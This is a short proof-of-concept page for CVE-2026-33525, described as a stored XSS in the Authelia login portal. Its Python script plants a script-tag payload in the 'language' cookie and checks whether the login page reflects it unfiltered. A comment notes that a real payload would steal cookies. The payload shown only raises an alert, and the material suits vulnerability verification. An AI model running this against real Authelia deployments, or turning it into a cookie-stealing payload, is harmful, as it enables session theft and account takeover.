CVE-2026-33525 Authelia存储型XSS漏洞

import requests target_url = "https://authelia.example.com/" # Malicious payload to inject via the language cookie # In a real scenario, this would be a more complex payload to steal cookies or perform actions. payload = "<script>alert('CVE-2026-33525');</script>" # Create a session to manage cookies session = requests.Session() # Set the malicious 'language' cookie session.cookies.set('language', payload, domain='authelia.example.com') try: # Send a request to the login page to trigger the rendering response = session.get(target_url) # Check if the payload is reflected in the response (unfiltered) if payload in response.text: print("[+] Vulnerability Confirmed: Payload injected into HTML response.") print("[*] Note: Execution depends on CSP policy configuration.") else: print("[-] Payload not reflected or server patched.") except Exception as e: print(f"Error: {e}")